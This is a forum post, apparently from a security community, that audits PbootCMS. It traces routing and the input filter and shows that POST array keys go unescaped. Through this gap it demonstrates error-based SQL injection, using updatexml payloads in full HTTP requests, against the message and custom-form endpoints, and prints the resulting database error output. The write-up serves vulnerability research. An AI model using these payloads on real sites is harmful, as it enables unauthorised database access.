

PbootCMS审计【通过】

账号审核

thtian #1 2020年04月29日 02:44

前言：看了这么久的代码审计，总算对框架有点感觉了，赶快拿一个练练手。

0x01 浏览目录

拿到一个cms第一件事别急着直接index就开始看了，先对这个cms的总体框架有个了解，重点解读核心代码，避免在不必要的地方浪费时间。

The screenshot shows a file browser interface on the left and a code editor on the right. The file browser displays the directory structure of the PbootCMS framework. The code editor shows the content of the `route.php` file, which contains PHP code for defining routes. A red box highlights the `route.php` file in the browser, and another red box highlights the `url_route` section in the code editor. A yellow box highlights the `return array()` line. Annotations in red text are overlaid on the code editor: "应用模块，也是重点要关注的地方" (Application module, also a key point to pay attention to) points to the `apps` folder; "前台" (Frontend) points to the `url_route` section; "其实大致要主要分析的就这么多，其他的不是特别重要（存在与用户数据交互的可能性比较小）" (Actually, most of what needs to be analyzed is this much, others are not particularly important (the possibility of interaction with user data is relatively small)) points to the code.

```
<?php
// ===== 用户自定义路由规则 =====
return array(
    'url_route' => array(
        // 单页路由示例, contact为后台自定的名称, 也可使用单页的内容ID, 同时,
        // 'home/11' => 'home/about/index/scode/11', //开启伪静态后输出效果:
        // 'home/contact' => 'home/about/index/scode/contact', //开启伪静态后
        // 'home/contact' => 'home/about/index/scode/11', //开启伪静态后输出效果:
        // 'home/2' => 'home/list/index/scode/2', //开启伪静态后输出效果: http
        // 'home/news' => 'home/list/index/scode/news', //开启伪静态后输出效果
        // 'home/news' => 'home/list/index/scode/2', //开启伪静态后输出效果: http
        // 详情页路由示例, test为后台自定的名称, 也可以使用内容ID, 同时也支
        // 'home/8' => 'home/content/index/id/8', //开启伪静态后输出效果: ht
        // 'home/test' => 'home/content/index/id/test', //开启伪静态后输出效果:
        // 'home/test' => 'home/content/index/id/8', //开启伪静态后输出效果:
    )
);
```

0x02 路由方式

这也是很重要的一点，知道通过什么url能访问到什么文件，被什么文件处理。

```
<?php
return array(
    // URL地址路由, 如: // 'home/index' => 'home/index/index'
    'url_route' => array(
        // =====管理端路由=====
        // 系统模块路由
        'admin/Area' => 'admin/system.Area',
        'admin/Menu' => 'admin/system.Menu',
        'admin/Role' => 'admin/system.Role',
        'admin/User' => 'admin/system.User',
        'admin/Type' => 'admin/system.Type',
        'admin/Syslog' => 'admin/system.Syslog',
        'admin/Database' => 'admin/system.Database',
        'admin/Config' => 'admin/system.Config',
        'admin/Upgrade' => 'admin/system.Upgrade',
    )
);
// 内容发布模块路由
```

存在两种路由方式，一个是用户自定义的（默认无），一个是在common目录下的路由映射方式（如上图所示）。

```
① 不安全 | imtfire.com/pboot/index.php/list/2
= > http://www.imtfire.com/pboot/index.php/list/index/scode/2
```

0x03 判断输入的过滤 (类似fuzz)

增加这样一个测试函数。

```
public function __construct()
{
    $this->model = new ParserModel();
}

public function test(){
    var_dump($_GET);
    var_dump($_POST);
    var_dump($_REQUEST);
}

// 新增
public function add()
{
    if ($_POST) {
        if (time() - session('lastsub') < 10) {
```

Enable POST
application/x-www-form-urlencoded
Body
a=f5'fd&b[fa</fad\[]]=;aaa'aa"<!--?\?1
ADD HEADER
SEND

结果：

D:\WWW\pboot\apps\home\controller\MessageController.php:27:

array (size=0)

empty

D:\WWW\pboot\apps\home\controller\MessageController.php:28:

array (size=2)

'a' => string 'f5' fd' (length=5)
'b' =>

array (size=1)

'fa</fad\[' => string ';aaa' aa"<!--?\?1
(length=16)

D:\WWW\pboot\apps\home\controller\MessageController.php:29:

array (size=2)

'a' => string 'f5' fd' (length=5)
'b' =>

array (size=1)

'fa</fad\[' => string ';aaa' aa"<!--?\?1
(length=16)

证明无过滤。

找到封装的 GET\POST\REQUEST 方法：

以GET为例：

```
/**  
 * 获取GET参数  
 *  
 * @param string $name  
 *      参数名称  
 * @param mixed $type  
 *      数据类型  
 * @param string $require  
 *      是否为必须, 为true是, 如果不满足条件直接错误  
 * @param string $vartext  
 *      变量描述文本  
 * @param string $default  
 *      在非必需情况下默认值  
 * @return mixed  
 */  
function get($name, $type = null, $require = false, $vartext = null, $default =  
null)  
{  
    $condition = array(  
        'd_source' => 'get',  
        'd_type' => $type,  
        'd_require' => $require,  
        $name => $vartext,  
        'd_default' => $default  
  
    );  
    return filter($name, $condition);  
}
```

跟进filter函数:

```
return escape_string($data);
```

前面太多了, 也没有什么太大的作用, 重点是 `return escape_string($data);`

```
function escape_string($string, $dropStr = true) {  
    if (! $string)  
        return $string;  
    if (is_array($string)) {  
        // 数组处理  
        foreach ($string as $key => $value) {  
            $string[$key] = escape_string($value);  
        }  
    }  
    return $string;  
}
```

```

    }
} elseif (is_object($string)) {
    // 对象处理
    foreach ($string as $key => $value) {
        $string->$key = escape_string($value);
    }
} else {
    // 字符串处理
    if ($dropStr) {
        $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|' .
(extractvalue)|(name_const)|(concat)/i', '', $string);
    }
    $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
    $string = addslashes($string);
}
return $string;
}

```

过滤了一些报错注入，html的实体化，以及单引号的过滤，替换为空其实可以双写绕过，但是它还不止一个过滤...

这有点严啊...但是如果使用外部传入的话，那就嘿嘿嘿
而且！！！它只对value的值进行过滤，对key无过滤...

0x04 留言注入

在留言提交界面：

```

POST /boot/index.php/Message/add HTTP/1.1
Host: www.imfire.com
Content-Length: 44
Cache-Control: max-age=0
Origin: http://www.imfire.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.imfire.com/boot/index.php/about/10
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Phoosystem=fakhhad0144098tjpk1pc2; XDEBUG_SESSION=PHPSTORM; PHPSESSID=6canjcgfk98hcg4km8u69p2; UM_distinctid=1718343467e7600b7aff4d29cf53136f144000-1718343467994;
CNZDATA1277972876=670031273-167045157-null%7C1597045157; EM_TOKENCOOKIE_2b36596c4f024949159c2427adfa50704ff65a7611d384a95e2a64622b7;
EM_AUTHCOOKIE_04tsJkllbjhZPMTMmcyH0M5z5g=admin%7C%7Cdb5e25a2349ab023; dfcf635d614d
Connection: close
contacts=1&mobile=2&content=3&checkcode=5551

```

```
public function add() {
    if ($_POST) {
        if (time() - session('lastsub') < 10) {
            alert_back('您提交太频繁了, 请稍后再试! ');
        }
        // 验证码验证
        $checkcode = post('checkcode');
        if ($this->config('message_check_code')) {
            if (! $checkcode) {
                alert_back('验证码不能为空! ');
            }
            if ($checkcode != session('checkcode')) {
                alert_back('验证码错误! ');
            }
        }
        // 读取字段
        if (! $form = $this->model->getFormField(1)) {
            alert_back('留言表单不存在任何字段, 请核对后重试! ');
        }
        var_dump($form);
        // 接收数据
        ...
    }
}
```

读add方法有点不懂，读出\$form字段：

```
D:\WWW\pboot\apps\home\controller\MessageController.php:58:  
array (size=3)  
0 =>  
object(stdClass)[8]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'contacts' (length=8)  
public 'required' => string '1' (length=1)  
public 'description' => string '联系人' (length=9)  
1 =>  
object(stdClass)[9]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'mobile' (length=6)  
public 'required' => string '1' (length=1)  
public 'description' => string '手机' (length=6)  
2 =>  
object(stdClass)[10]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'content' (length=7)  
public 'required' => string '1' (length=1)  
public 'description' => string '内容' (length=6)  
  
$mail_body = '';  
foreach ($form as $value) {  
    $field_data = post($value->name);  
    if (is_array($field_data)) {  
        // 如果是多选等情况时转换  
        $field_data = implode(',', $field_data);  
    }  
    if ($value->required && ! $field_data) {  
        alert_back($value->description . '不能为空！');  
    } else {  
        $data[$value->name] = post($value->name);  
        $mail_body .= $value->description . ':' . post($value->name) . '<br>;  
    }  
}  
// 设置额外数据  
if ($data) {
```

```
$data['acode'] = session('lg');
$data['user_ip'] = ip2long(get_user_ip());
$data['user_os'] = get_user_os();
$data['user_bs'] = get_user_bs();
$data['recontent'] = '';
$data['status'] = 0;
$data['create_user'] = 'guest';
$data['update_user'] = 'guest';
}
var_dump($data);
```

读出\$data字段：

```
D:\WWW\pboot\apps\home\controller\MessageController.php:58:  
array (size=3)  
0 =>  
object(stdClass)[8]  
  public 'table_name' => string 'ay_message' (length=10)  
  public 'name' => string 'contacts' (length=8)  
  public 'required' => string '1' (length=1)  
  public 'description' => string '联系人' (length=9)  
1 =>  
object(stdClass)[9]  
  public 'table_name' => string 'ay_message' (length=10)  
  public 'name' => string 'mobile' (length=6)  
  public 'required' => string '1' (length=1)  
  public 'description' => string '手机' (length=6)  
2 =>  
object(stdClass)[10]  
  public 'table_name' => string 'ay_message' (length=10)  
  public 'name' => string 'content' (length=7)  
  public 'required' => string '1' (length=1)  
  public 'description' => string '内容' (length=6)
```

```
D:\WWW\pboot\apps\home\controller\MessageController.php:87:  
array (size=11)  
  'contacts' => string '4' (length=1)  
  'mobile' => string '5' (length=1)  
  'content' => string '6' (length=1)  
  'acode' => string 'cn' (length=2)  
  'user_ip' => int 2130706433  
  'user_os' => string 'Windows 10' (length=10)  
  'user_bs' => string 'Chrome' (length=6)  
  'recontent' => string '' (length=0)  
  'status' => int 0  
  'create_user' => string 'guest' (length=5)  
  'update_user' => string 'guest' (length=5)
```

如果构造数组 (在key处动手脚) :

```
post:  
contacts[content` , `create_time` , `update_time` ) VALUES ('1', '1' ,1 and  
updatexml(1,concat(0x3a,user()),1) );-- a] = 1111  
content = 1111  
mobile = 1111
```

```
D:\WWW\pboot\apps\home\controller\MessageController.php:58:  
array (size=3)  
0 =>  
object(stdClass)[8]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'contacts' (length=8)  
public 'required' => string '1' (length=1)  
public 'description' => string '联系人' (length=9)  
1 =>  
object(stdClass)[9]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'mobile' (length=6)  
public 'required' => string '1' (length=1)  
public 'description' => string '手机' (length=6)  
2 =>  
object(stdClass)[10]  
public 'table_name' => string 'ay_message' (length=10)  
public 'name' => string 'content' (length=7)  
public 'required' => string '1' (length=1)  
public 'description' => string '内容' (length=6)
```

```
D:\WWW\pboot\apps\home\controller\MessageController.php:87:  
array (size=11)  
'contacts' =>  
array (size=1)  
'content', 'create_time', 'update_time') VALUES ('1', '1', 1 and updatexml(1,concat(0x3a,user()),1) )-- a' => string '1111' (length=4)  
'mobile' => string '5' (length=1)  
'content' => string '6' (length=1)  
'acode' => string 'cn' (length=2)  
'user_ip' => int 2130706433  
'user_os' => string 'Windows 10' (length=10)  
'user_bs' => string 'Chrome' (length=6)  
'recontent' => string '' (length=0)  
'status' => int 0  
'create_user' => string 'guest' (length=5)  
'update_user' => string 'guest' (length=5)
```

```
if ($this->model->addMessage($data)) {  
    session('lastsub', time());  
    // 记录最后提交时间  
    $this->log('留言提交成功! ');  
    if ($this->config('message_send_mail') && $this->config('message_send_to')) {  
        $mail_subject = "【PbootCMS】您有新的表单数据, 请注意查收! ";  
        $mail_body .= '<br>来自网站' . get_http_url() . ' (' .  
        date('Y-m-d H:i:s') . ')';  
        sendmail($this->config(), $this->config('message_send_to'),  
        $mail_subject, $mail_body);  
    }  
    alert_location('提交成功!', '-1');  
} else {  
    $this->log('留言提交失败! ');  
    alert_back('提交失败! ');\n}  
}  
}  
} else {  
error('提交失败, 请使用POST方式提交! ');\n}
```

```
// 新增留言
public function addMessage($data) {
return parent::table('ay_message')->autoTime()->insert($data);
}
```

: (

执行SQL发生错误！错误：XPATH syntax error ':root@localhost'，语句：INSERT INTO ay_message
(`content`, `create_time`, `update_time`) VALUES ('1', '1', 1 and updatexml(1,concat(0x3a,user()),1)--
a` `create_time` `update_time`)SELECT '1111',2020-04-17 21:17:23,'2020-04-17 21:17:23' UNION All SELECT
'2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23'
UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-
17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17
21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT
'2020-04-17 21:17:23','2020-04-17 21:17:23' UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23'
UNION All SELECT '2020-04-17 21:17:23','2020-04-17 21:17:23'

0x05 电话注入



POST /pboot/index.php/Form/addfcode/2 HTTP/1.1
Host: www.imfire.com
Content-Length: 6
Cache-Control: max-age=0
Origin: http://www.imfire.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.imfire.com/pboot/
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PbootSystem=d7bu5fu0bk50nhhtdkb02; XDEBUG_SESSION=PHPSTORM; PHPSESSID=6canjcgfk98hcg4km8u69p2; UM_distinctid=1718343467e760-0b7b7CNZDATA1277972876=678031273-1587045157-null%7C1587045157; EM_TOKENCOOKIE_2b3b596f4ff0249d94158e2427ad1=a50704ffa65a7611d384a95e2a64622b7; EM_AUTHCOOKIE_04tsJkllbjNzPMTMcyeHGRv5j5gi=admin%7C%7C7db5e025a2349ab023cd7cf835d614d; Hm_lvt_f6b7dc3416ca514857b78d0b158037e=1587129707; Hm_lvt_f6b7dc3416ca514857b78d0b158037e=1587129707
Connection: close

tel=13

跟入代码:

```
        $mail_body .= $value->description . ': ' . post($value->name) . '<br>';
    }

    // 设置创建时间
    if ($data){
        $data['create_time'] = get_datetime();
    }

    // 写入数据
    if ($this->model->addForm($value->table_name, $data)){
        session('lastsub', time()); // 记录最后提交时间
        $this->log( content: '提交表单数据成功！' );
        if ($this->config( item: 'message_send_mail') && $this->config( item: 'message_send_to')){
            $mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
            $mail_body = '<br>来自网站' . get_http_url() . ' (' . date( format: 'Y-m-d H:i:s') . ')';
            sendmail($this->config(), $this->config( item: 'message_send_to'), $mail_subject, $mail_body);
        }
        alert_location( info: '提交成功！', url: '-1' );
    } else {
        $this->log( content: '提交表单数据失败！' );
        alert_back( info: '提交失败！' );
    }
} else {
    error( string: '提交失败，请使用POST方式提交！' );
}
}
```

此处与上处代码处理几乎一样，对key进行构造即可；

:)

执行SQL发生错误！错误：XPATH syntax error: ':root@localhost'，语句：INSERT INTO ay_diy_test ('tel') VALUES (1
and updatexml(1,concat(0x3a,user()),1);-- a') SELECT '1111' UNION All SELECT